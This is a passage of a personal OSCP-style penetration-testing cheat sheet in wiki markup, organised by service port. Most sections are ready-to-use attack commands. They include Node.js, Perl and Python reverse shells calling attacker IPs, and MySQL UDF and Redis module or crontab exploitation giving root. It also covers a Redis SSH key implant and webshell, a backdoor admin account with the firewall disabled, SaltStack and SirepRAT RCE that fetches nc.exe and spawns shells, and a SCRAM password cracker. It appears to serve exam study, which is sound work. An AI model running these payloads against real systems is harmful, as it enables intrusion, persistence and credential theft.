PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Get-MDFHashes -mdf &amp;quot;./master.mdf&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1521, 1522-1529 - Oracle TNS Listener ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1978, 1979, 1980 - Remote Mouse ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use nc to check header&lt;br /&gt;
# SIN 15win pwd pwd 300 : Indicating that the service requires authentication.&lt;br /&gt;
# SIN 15win nop nop 300 : Indicating that the service does not require authentication.&lt;br /&gt;
# Then use this exploit. Check writeup for PG mice and PWK IT dept 10.1.1.89.&lt;br /&gt;
https://github.com/p0dalirius/RemoteMouse-3.008-Exploit&lt;br /&gt;
# Edit the script to point to your Python HTTP server where nishang invoke tcp script is ready.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 2049 - NFS ==&lt;br /&gt;
&lt;br /&gt;
=== no_root_squash ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1252#Privilege_Escalation_NFS&lt;br /&gt;
&lt;br /&gt;
=== Access NFS through ssh tunnel ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Source https://medium.com/vieh-group/hacking-oscp-cheatsheet-ef63c43f919c&lt;br /&gt;
# Output from /etc/exports on target&lt;br /&gt;
/srv/Share 10.1.1.0/24(insecure,rw)&lt;br /&gt;
/srv/Share 127.0.0.1/32(no_root_squash,insecure,rw)&lt;br /&gt;
# Forward connection - Run the ssh command on attacker&lt;br /&gt;
ssh -f -N megumin@192.168.42.43 -L 2049:127.0.0.1:2049&lt;br /&gt;
mount -t nfs 127.0.0.1:/srv/pelota my_share&lt;br /&gt;
cd my_share&lt;br /&gt;
cat &amp;gt; shell.c&lt;br /&gt;
int main(){&lt;br /&gt;
  setuid(0);&lt;br /&gt;
  setgid(0);&lt;br /&gt;
  system(&amp;quot;/bin/bash&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
EOF&lt;br /&gt;
gcc shell.c -o shell&lt;br /&gt;
chmod u+s shell&lt;br /&gt;
# Reverse connection - Run the ssh command on target&lt;br /&gt;
# Beware that this means target will access attacker through ssh. Not as safe as forward connection.&lt;br /&gt;
ssh -N -R 192.168.119.176:2221:127.0.0.1:2049 aghanim@192.168.119.176&lt;br /&gt;
mount -v -t nfs -o port=2221,tcp localhost:/srv/Share mount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3000 - NodeJs ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell&lt;br /&gt;
# The Javascript code below is a Node.js reverse shell.&lt;br /&gt;
# Remember to change the IP address and PORT with the nc you are running.&lt;br /&gt;
(function(){&lt;br /&gt;
    var net = require(&amp;quot;net&amp;quot;),&lt;br /&gt;
        cp = require(&amp;quot;child_process&amp;quot;),&lt;br /&gt;
        sh = cp.spawn(&amp;quot;/bin/sh&amp;quot;, []);&lt;br /&gt;
    var client = new net.Socket();&lt;br /&gt;
    client.connect(8080, &amp;quot;192.168.33.1&amp;quot;, function(){&lt;br /&gt;
        client.pipe(sh.stdin);&lt;br /&gt;
        sh.stdout.pipe(client);&lt;br /&gt;
        sh.stderr.pipe(client);&lt;br /&gt;
    });&lt;br /&gt;
    return /a/; // Prevents the Node.js application form crashing&lt;br /&gt;
})();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3306 - MySQL/MariaDB ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf&lt;br /&gt;
# User-defined function (UDF)&lt;br /&gt;
# If you can login as root you can create a malicious functions to run commands.&lt;br /&gt;
https://www.exploit-db.com/exploits/1518&lt;br /&gt;
# You can also compile it on attacker if target dont have gcc. Use --static.&lt;br /&gt;
# Check if secure_file_priv. If empty means disabled&lt;br /&gt;
show variables like &#039;%secure_file_priv%&#039;;&lt;br /&gt;
# Find plugin path. Add the path on step file (dumpfile)&lt;br /&gt;
show variables like &#039;%plugin%&#039;;&lt;br /&gt;
$ gcc -g -c raptor_udf2.c&lt;br /&gt;
 * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc&lt;br /&gt;
# Can also transfer exploit raptor_udf2.so with hex.&lt;br /&gt;
## xxd -p raptor_udf2.so | tr -d &#039;\n&#039; &amp;gt; raptor_udf2.so.hex&lt;br /&gt;
 * $ mysql -u root -p&lt;br /&gt;
 * Enter password:&lt;br /&gt;
 * [...]&lt;br /&gt;
# Set variable for shellcode&lt;br /&gt;
## set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;&lt;br /&gt;
 * mysql&amp;gt; use mysql;&lt;br /&gt;
 * mysql&amp;gt; create table foo(line blob);&lt;br /&gt;
 * mysql&amp;gt; insert into foo values(load_file(&#039;/home/raptor/raptor_udf2.so&#039;));&lt;br /&gt;
# Output shellcode to file on target&lt;br /&gt;
## select binary @shell into dumpfile &#039;/usr/lib/raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; select * from foo into dumpfile &#039;/usr/lib/raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; create function do_system returns integer soname &#039;raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; select * from mysql.func;&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * | name      | ret | dl             | type     |&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * | do_system |   2 | raptor_udf2.so | function |&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * mysql&amp;gt; select do_system(&#039;id &amp;gt; /tmp/out; chown raptor.raptor /tmp/out&#039;);&lt;br /&gt;
# OR&lt;br /&gt;
select do_system(&#039;cp /bin/bash /tmp/out; chmod +xs /tmp/out&#039;);&lt;br /&gt;
 * mysql&amp;gt; \! sh&lt;br /&gt;
 * sh-2.05b$ cat /tmp/out&lt;br /&gt;
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)&lt;br /&gt;
 * [...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation method 2 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/mysqludf/lib_mysqludf_sys&lt;br /&gt;
# Compiling the above will sometimes not work and you have to do some editing. See the below commands to fix issue and compile correct.&lt;br /&gt;
xxd -p lib_mysqludf_sys.so| tr -d &#039;\n&#039; &amp;gt; lib_mysqludf_sys.so.hex&lt;br /&gt;
cat lib_mysqludf_sys.so.hex |  xclip -selection clipboard&lt;br /&gt;
MariaDB [(none)]&amp;gt; select @@plugin_dir&lt;br /&gt;
MariaDB [(none)]&amp;gt;  set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select binary @shell into dumpfile @@plugin_dir; # Write out the plugin dir like this &#039;/usr/lib/lib_mysqludf_sys.so&lt;br /&gt;
MariaDB [(none)]&amp;gt; create function sys_exec returns int soname &#039;udf_sys_exec.so&#039;;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select * from mysql.func where name=&#039;sys_exec&#039;;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select sys_exec(&#039;cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone https://github.com/mysqludf/lib_mysqludf_sys.git&lt;br /&gt;
cd lib_mysqludf_sys&lt;br /&gt;
rm lib_mysqludf_sys.so&lt;br /&gt;
sed -i &#039;s|$(LIBDIR)|.|g&#039; Makefile&lt;br /&gt;
sed -i &#039;s|-Wall -I/usr/include/mysql|-Wall -I/usr/include/mariadb/server -I/usr/include/mariadb/ -I/usr/include/mariadb/server/private|g&#039; Makefile&lt;br /&gt;
ex lib_mysqludf_sys.c &amp;lt;&amp;lt;&amp;lt;&amp;quot;57,62m27|wq&amp;quot;&lt;br /&gt;
sudo apt install libmariadbd-dev&lt;br /&gt;
make&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3389 - RDP ==&lt;br /&gt;
&lt;br /&gt;
=== Add user and enable RDP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/xapax/oscp/blob/master/templates/windows-template.md&lt;br /&gt;
net user aghanim Password123 /add&lt;br /&gt;
net localgroup Administrators aghanim /add&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; aghanim /ADD&lt;br /&gt;
# Enable RDP&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
Turn firewall off&lt;br /&gt;
netsh firewall set opmode disable&lt;br /&gt;
Or like this&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
If you get this error:&lt;br /&gt;
&amp;quot;ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?&lt;br /&gt;
Failed to connect, CredSSP required by server.&amp;quot;&amp;quot;&lt;br /&gt;
Add this reg key:&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&amp;quot; /v UserAuthentication /t REG_DWORD /&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ThinVNC ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/47519&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 4505, 4506 - zmtp ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# RCE in Satlstack 3000 ZeroMQ CVE-2020-11651 and CVE-2020-11652 in&lt;br /&gt;
# https://github.com/jasperla/CVE-2020-11651-poc&lt;br /&gt;
python3 exploit.py --master 192.168.115.130 --exec &amp;quot;nc 127.0.0.1 4444 -e /bin/sh&amp;quot;&lt;br /&gt;
python3 exploit.py --master 192.168.115.130 -r /etc/shadow&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5432, 5433 - PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
psql -U  # Open psql console with user&lt;br /&gt;
psql -h  -U  -d  # Remote connection&lt;br /&gt;
psql -h  -p  -U  -W   # Remote connection&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
psql -h localhost -d  -U  #Password will be prompted&lt;br /&gt;
\list # List databases&lt;br /&gt;
\c  # use the database&lt;br /&gt;
\d # List tables&lt;br /&gt;
\du+ # Get users roles&lt;br /&gt;
#Read a file&lt;br /&gt;
CREATE TABLE demo(t text);&lt;br /&gt;
COPY demo from &#039;[FILENAME]&#039;;&lt;br /&gt;
SELECT * FROM demo;&lt;br /&gt;
#Write ascii to a file (copy to cannot copy binary data)&lt;br /&gt;
COPY (select convert_from(decode(&#039;&#039;,&#039;base64&#039;),&#039;utf-8&#039;)) to &#039;C:\\some\\interesting\path.cmd&#039;;&lt;br /&gt;
#List databases&lt;br /&gt;
SELECT datname FROM pg_database;&lt;br /&gt;
#Read credentials (usernames + pwd hash)&lt;br /&gt;
SELECT usename, passwd from pg_shadow;&lt;br /&gt;
#Check if current user is superiser&lt;br /&gt;
SELECT current_setting(&#039;is_superuser&#039;); #If response is &amp;quot;on&amp;quot; then true, if &amp;quot;off&amp;quot; then false&lt;br /&gt;
#Check if plpgsql is enabled&lt;br /&gt;
SELECT lanname,lanacl FROM pg_language WHERE lanname = &#039;plpgsql&#039;&lt;br /&gt;
#Change password&lt;br /&gt;
ALTER USER user_name WITH PASSWORD &#039;new_password&#039;;&lt;br /&gt;
#Check users privileges over a table (pg_shadow on this example)&lt;br /&gt;
SELECT grantee, privilege_type&lt;br /&gt;
FROM information_schema.role_table_grants&lt;br /&gt;
WHERE table_name=&#039;pg_shadow&#039;&lt;br /&gt;
#Get users roles&lt;br /&gt;
SELECT&lt;br /&gt;
      r.rolname,&lt;br /&gt;
      r.rolsuper,&lt;br /&gt;
      r.rolinherit,&lt;br /&gt;
      r.rolcreaterole,&lt;br /&gt;
      r.rolcreatedb,&lt;br /&gt;
      r.rolcanlogin,&lt;br /&gt;
      r.rolconnlimit, r.rolvaliduntil,&lt;br /&gt;
  ARRAY(SELECT b.rolname&lt;br /&gt;
        FROM pg_catalog.pg_auth_members m&lt;br /&gt;
        JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)&lt;br /&gt;
        WHERE m.member = r.oid) as memberof&lt;br /&gt;
, r.rolreplication&lt;br /&gt;
FROM pg_catalog.pg_roles r&lt;br /&gt;
ORDER BY 1;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== RCE ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection#rce&lt;br /&gt;
#PoC&lt;br /&gt;
DROP TABLE IF EXISTS cmd_exec;&lt;br /&gt;
CREATE TABLE cmd_exec(cmd_output text);&lt;br /&gt;
COPY cmd_exec FROM PROGRAM &#039;id&#039;;&lt;br /&gt;
SELECT * FROM cmd_exec;&lt;br /&gt;
&lt;br /&gt;
postgres=# COPY cmd_exec FROM PROGRAM &#039;perl -MIO -e &#039;&#039;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,&amp;quot;192.168.49.115:80&amp;quot;);STDIN-&amp;gt;fdopen($c,r);$~-&amp;gt;fdopen($c,w);system$_ while&amp;lt;&amp;gt;;;&lt;br /&gt;
COPY 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5800, 5801, 5900, 5901 - VNC ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5985, 5986 - WinRM ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
The easiest way to connect to WinRM using C# is to use &#039;&#039;&#039;WSMAN Automation&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Reference &amp;lt;code&amp;gt;wsmauto.dll&amp;lt;/code&amp;gt; from &amp;lt;code&amp;gt;Windows\System32&amp;lt;/code&amp;gt; in your project.&lt;br /&gt;
&lt;br /&gt;
The following code should work:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
IWSMan wsman = new WSManClass();&lt;br /&gt;
IWSManConnectionOptions options = (IWSManConnectionOptions)wsman.CreateConnectionOptions();&lt;br /&gt;
if (options != null)&lt;br /&gt;
{&lt;br /&gt;
    try&lt;br /&gt;
    {&lt;br /&gt;
        // options.UserName = ???;&lt;br /&gt;
        // options.Password = ???;&lt;br /&gt;
        IWSManSession session = (IWSManSession)wsman.CreateSession(&amp;quot;http://&amp;lt;your_server_name&amp;gt;/wsman&amp;quot;, 0, options);&lt;br /&gt;
        if (session != null)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                // retrieve the Win32_Service xml representation&lt;br /&gt;
                var reply = session.Get(&amp;quot;http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=winmgmt&amp;quot;, 0);&lt;br /&gt;
                // parse xml and dump service name and description&lt;br /&gt;
                var doc = new XmlDocument();&lt;br /&gt;
                doc.LoadXml(reply);&lt;br /&gt;
                foreach (var elementName in new string[] { &amp;quot;p:Caption&amp;quot;, &amp;quot;p:Description&amp;quot; })&lt;br /&gt;
                {&lt;br /&gt;
                    var node = doc.GetElementsByTagName(elementName)[0];&lt;br /&gt;
                    if (node != null) Console.WriteLine(node.InnerText);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            finally&lt;br /&gt;
            {&lt;br /&gt;
                Marshal.ReleaseComObject(session);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    finally&lt;br /&gt;
    {&lt;br /&gt;
        Marshal.ReleaseComObject(options);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Source:&lt;br /&gt;
&lt;br /&gt;
* [https://stackoverflow.com/questions/3771920/how-to-access-winrm-in-c-sharp stackoverflow]&lt;br /&gt;
&lt;br /&gt;
== 6370 - Redis ==&lt;br /&gt;
&lt;br /&gt;
=== Commands &amp;amp; info ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Service file&lt;br /&gt;
/etc/systemd/system/redis.service&lt;br /&gt;
# Config file&lt;br /&gt;
installdir/redis/etc/redis. conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crontab ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@Urahara:~# echo -e &amp;quot;\n\n*/1 * * * * /usr/bin/python -c &#039;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\&amp;quot;10.85.0.53\&amp;quot;,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\&amp;quot;/bin/sh\&amp;quot;,\&amp;quot;-i\&amp;quot;]);&#039;\n\n&amp;quot;|redis-cli -h 10.85.0.52 -x set 1&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 save&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dumping database ===&lt;br /&gt;
&lt;br /&gt;
=== Load module ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Sybaris writeup&lt;br /&gt;
# https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#load-redis-module&lt;br /&gt;
# Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can compile a redis module to execute arbitrary commands.&lt;br /&gt;
# Then you need some way to upload the compiled module&lt;br /&gt;
# Load the uploaded module at runtime with MODULE LOAD /path/to/mymodule.so&lt;br /&gt;
# List loaded modules to check it was correctly loaded: MODULE LIST&lt;br /&gt;
# Execute commands:&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.exec &amp;quot;id&amp;quot;&lt;br /&gt;
&amp;quot;uid=0(root) gid=0(root) groups=0(root)\n&amp;quot;&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.exec &amp;quot;whoami&amp;quot;&lt;br /&gt;
&amp;quot;root\n&amp;quot;&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.rev 127.0.0.1 9999&lt;br /&gt;
Unload the module whenever you want: MODULE UNLOAD mymodule&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Redis-rogue server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# A exploit for Redis(&amp;lt;=5.0.5) RCE&lt;br /&gt;
# https://github.com/n0b0dyCN/redis-rogue-server&lt;br /&gt;
# https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf&lt;br /&gt;
python3 redis-rogue-server.py --rhost=192.168.143.69 --rport=6379 --lhost=192.168.49.143 --lport 6379&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#ssh Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1 Generate a ssh public-private key pair on your pc: ssh-keygen -t rsa&lt;br /&gt;
# 2 Write the public key to a file : (echo -e &amp;quot;\n\n&amp;quot;; cat ~/id_rsa.pub; echo -e &amp;quot;\n\n&amp;quot;) &amp;gt; spaced_key.txt&lt;br /&gt;
# 3 Import the file into redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key&lt;br /&gt;
# 4 Save the public key to the authorized_keys file on redis server:&lt;br /&gt;
# 4&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dir /var/lib/redis/.ssh&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dbfilename &amp;quot;authorized_keys&amp;quot;&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; save&lt;br /&gt;
OK&lt;br /&gt;
# Finally, you can ssh to the redis server with private key : ssh -i id_rsa redis@10.85.0.52&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Webshell ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#webshell Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# You must know the path of the Web site folder.&lt;br /&gt;
# Try also /var/www/html&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dir /usr/share/nginx/html&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dbfilename redis.php&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; set test &amp;quot;&amp;quot;&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; save&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 27017 - MongoDB ==&lt;br /&gt;
&lt;br /&gt;
=== Crack hash ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# In order to get the password for MonogDB you need to have the SCRAM challanege, either from a pcap or else. You need the username, client nonce, server nonce, salt, and the target hash.&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
import base64&lt;br /&gt;
import hashlib&lt;br /&gt;
import hmac&lt;br /&gt;
import sys&lt;br /&gt;
USERNAME = &#039;admin&#039;&lt;br /&gt;
SALT = &#039;zOa0kWA/OTak0a0vNaN0Zh2drO1uekoDUh4sdg==&#039;&lt;br /&gt;
CLIENT_NONCE = &#039;+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeK&#039;&lt;br /&gt;
SERVER_NONCE = &#039;+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeKoGtDP4x0LH5WZgQ9xFMJEJknBHTp6N1D&#039;&lt;br /&gt;
ITERATIONS = 15000&lt;br /&gt;
TARGET = &#039;/nW1YVs0JcvxU48jLHanbkQbZ4GFJ8+Na8fj7xM1s98=&#039;&lt;br /&gt;
WORDLIST = &#039;/usr/share/wordlists/rockyou.txt&#039;&lt;br /&gt;
def byte_xor(ba1, ba2):&lt;br /&gt;
    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])&lt;br /&gt;
def proof(username, password, salt, client_nonce, server_nonce, iterations):&lt;br /&gt;
    raw_salt = base64.b64decode(salt)&lt;br /&gt;
    client_first_bare = &#039;n={},r={}&#039;.format(username, client_nonce)&lt;br /&gt;
    server_first = &#039;r={},s={},i={}&#039;.format(server_nonce, salt, iterations)&lt;br /&gt;
    client_final_without_proof = &#039;c=biws,r={}&#039;.format(server_nonce)&lt;br /&gt;
    auth_msg = &#039;{},{},{}&#039;.format(client_first_bare, server_first, client_final_without_proof)&lt;br /&gt;
    salted_password = hashlib.pbkdf2_hmac(&#039;sha256&#039;, password.encode(&#039;utf-8&#039;), raw_salt, iterations)&lt;br /&gt;
    client_key = hmac.digest(salted_password, b&#039;Client Key&#039;, &#039;sha256&#039;)&lt;br /&gt;
    stored_key = hashlib.sha256(client_key).digest()&lt;br /&gt;
    client_signature = hmac.new(stored_key, auth_msg.encode(&#039;utf-8&#039;), &#039;sha256&#039;).digest()&lt;br /&gt;
    client_proof = byte_xor(client_key, client_signature)&lt;br /&gt;
    return base64.b64encode(client_proof).decode(&#039;utf-8&#039;)&lt;br /&gt;
counter = 0&lt;br /&gt;
with open(WORDLIST) as f:&lt;br /&gt;
    for candidate in f:&lt;br /&gt;
        counter = counter + 1&lt;br /&gt;
        if counter % 1000 == 0:&lt;br /&gt;
            print(&#039;Tried {} passwords&#039;.format(counter))&lt;br /&gt;
        p = proof(USERNAME, candidate.rstrip(&#039;\n&#039;), SALT, CLIENT_NONCE, SERVER_NONCE, ITERATIONS)&lt;br /&gt;
        if p == TARGET:&lt;br /&gt;
            print(&#039;Password found: {}&#039;.format(candidate.rstrip(&#039;\n&#039;)))&lt;br /&gt;
            sys.exit(0)&lt;br /&gt;
print(&#039;Wordlist exhausted with no password found.&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 29819 - Windows IoT Core SirepServer ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SafeBreach-Labs/SirepRAT SirepRAT]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Upload file - Example&lt;br /&gt;
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;quot;C:\Windows\System32\cmd.exe&amp;quot; --args &#039; /c powershell invoke-webrequest -o c:\windows\temp\nc.exe -uri http://10.10.14.12:9000/nc.exe&#039;&lt;br /&gt;
# Execute command - Example&lt;br /&gt;
 python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;quot;C:\Windows\System32\cmd.exe&amp;quot; --args &#039; /c c:\windows\temp\nc.exe -e cmd 10.10.14.12 4444&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Active Directory/Windows ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=2078&lt;br /&gt;
&lt;br /&gt;
=== ASREPRoast ===&lt;br /&gt;
&lt;br /&gt;
=== BloodHound ===&lt;br /&gt;
&lt;br /&gt;
